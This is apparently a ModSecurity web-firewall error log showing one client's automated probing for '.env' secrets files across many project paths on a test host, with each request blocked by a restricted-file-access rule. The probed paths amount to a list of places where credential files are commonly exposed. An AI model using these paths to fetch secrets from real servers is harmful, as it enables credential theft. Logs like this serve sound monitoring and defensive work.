[Wed Feb 25 06:05:36.917652 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/typeScriptProject/.env&quot;] [unique_id &quot;aZ6DIOTWwZsZM3_RktVDggAAAAU&quot;]
[Wed Feb 25 06:05:36.917830 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/typeScriptProject/.env&quot;] [unique_id &quot;aZ6DIOTWwZsZM3_RktVDggAAAAU&quot;]
[Wed Feb 25 06:05:36.989045 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /template/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/template/.env&quot;] [unique_id &quot;aZ6DIIv6AM5Bs3q_JQDZEgAAAAc&quot;]
[Wed Feb 25 06:05:36.989321 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/template/.env&quot;] [unique_id &quot;aZ6DIIv6AM5Bs3q_JQDZEgAAAAc&quot;]
[Wed Feb 25 06:05:36.989515 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/template/.env&quot;] [unique_id &quot;aZ6DIIv6AM5Bs3q_JQDZEgAAAAc&quot;]
[Wed Feb 25 06:05:37.036927 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/__tests__/__fixtures__/typescriptvisualizeproject/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/typeScriptVisualizeProject/.env&quot;] [unique_id &quot;aZ6DIeTWwZsZM3_RktVDgwAAAAU&quot;]
[Wed Feb 25 06:05:37.037189 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/typeScriptVisualizeProject/.env&quot;] [unique_id &quot;aZ6DIeTWwZsZM3_RktVDgwAAAAU&quot;]
[Wed Feb 25 06:05:37.037392 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/__tests__/__fixtures__/typeScriptVisualizeProject/.env&quot;] [unique_id &quot;aZ6DIeTWwZsZM3_RktVDgwAAAAU&quot;]
[Wed Feb 25 06:05:37.073895 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/add-auth/express/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/add-auth/express/.env&quot;] [unique_id &quot;aZ6DIeTWwZsZM3_RktVDhAAAAAU&quot;]
[Wed Feb 25 06:05:37.074158 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/add-auth/express/.env&quot;] [unique_id &quot;aZ6DIeTWwZsZM3_RktVDhAAAAAU&quot;]
[Wed Feb 25 06:05:37.074327 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/add-auth/express/.env&quot;] [unique_id &quot;aZ6DIeTWwZsZM3_RktVDhAAAAAU&quot;]
[Wed Feb 25 06:05:37.075678 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /templates/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/templates/.env&quot;] [unique_id &quot;aZ6DIYv6AM5Bs3q_JQDZEwAAAAc&quot;]
[Wed Feb 25 06:05:37.075911 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/templates/.env&quot;] [unique_id &quot;aZ6DIYv6AM5Bs3q_JQDZEwAAAAc&quot;]
[Wed Feb 25 06:05:37.076070 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/templates/.env&quot;] [unique_id &quot;aZ6DIYv6AM5Bs3q_JQDZEwAAAAc&quot;]
[Wed Feb 25 06:05:37.169946 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/assembly/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/assembly/.env&quot;] [unique_id &quot;aZ6DIeTWwZsZM3_RktVDhQAAAAU&quot;]
[Wed Feb 25 06:05:37.170215 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/assembly/.env&quot;] [unique_id &quot;aZ6DIeTWwZsZM3_RktVDhQAAAAU&quot;]
[Wed Feb 25 06:05:37.170466 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/assembly/.env&quot;] [unique_id &quot;aZ6DIeTWwZsZM3_RktVDhQAAAAU&quot;]
[Wed Feb 25 06:05:37.202267 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test-network/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test-network/.env&quot;] [unique_id &quot;aZ6DIYv6AM5Bs3q_JQDZFgAAAAc&quot;]
[Wed Feb 25 06:05:37.202565 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test-network/.env&quot;] [unique_id &quot;aZ6DIYv6AM5Bs3q_JQDZFgAAAAc&quot;]
[Wed Feb 25 06:05:37.202776 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test-network/.env&quot;] [unique_id &quot;aZ6DIYv6AM5Bs3q_JQDZFgAAAAc&quot;]
[Wed Feb 25 06:05:37.205521 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/character-service/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/character-service/.env&quot;] [unique_id &quot;aZ6DIeTWwZsZM3_RktVDhgAAAAU&quot;]
[Wed Feb 25 06:05:37.205765 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/character-service/.env&quot;] [unique_id &quot;aZ6DIeTWwZsZM3_RktVDhgAAAAU&quot;]
[Wed Feb 25 06:05:37.205925 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/character-service/.env&quot;] [unique_id &quot;aZ6DIeTWwZsZM3_RktVDhgAAAAU&quot;]
[Wed Feb 25 06:05:37.272905 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/client/mobile/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/client/mobile/.env&quot;] [unique_id &quot;aZ6DIeTWwZsZM3_RktVDhwAAAAU&quot;]
[Wed Feb 25 06:05:37.273203 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/client/mobile/.env&quot;] [unique_id &quot;aZ6DIeTWwZsZM3_RktVDhwAAAAU&quot;]
[Wed Feb 25 06:05:37.273420 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/client/mobile/.env&quot;] [unique_id &quot;aZ6DIeTWwZsZM3_RktVDhwAAAAU&quot;]
[Wed Feb 25 06:05:37.307853 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/core/tests/dotenv-files/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/core/tests/dotenv-files/.env&quot;] [unique_id &quot;aZ6DIeTWwZsZM3_RktVDiAAAAAU&quot;]
[Wed Feb 25 06:05:37.308130 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/core/tests/dotenv-files/.env&quot;] [unique_id &quot;aZ6DIeTWwZsZM3_RktVDiAAAAAU&quot;]
[Wed Feb 25 06:05:37.308324 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/core/tests/dotenv-files/.env&quot;] [unique_id &quot;aZ6DIeTWwZsZM3_RktVDiAAAAAU&quot;]
[Wed Feb 25 06:05:37.312705 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test-network/addorg3/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test-network/addOrg3/.env&quot;] [unique_id &quot;aZ6DIYv6AM5Bs3q_JQDZFwAAAAc&quot;]
[Wed Feb 25 06:05:37.312954 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test-network/addOrg3/.env&quot;] [unique_id &quot;aZ6DIYv6AM5Bs3q_JQDZFwAAAAc&quot;]
[Wed Feb 25 06:05:37.313123 2026] [:error] [pid 2312957] [client 185.177.72.13:31786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test-network/addOrg3/.env&quot;] [unique_id &quot;aZ6DIYv6AM5Bs3q_JQDZFwAAAAc&quot;]
[Wed Feb 25 06:05:37.340713 2026] [:error] [pid 2312955] [client 185.177.72.13:31800] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/gameprovider-service/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri 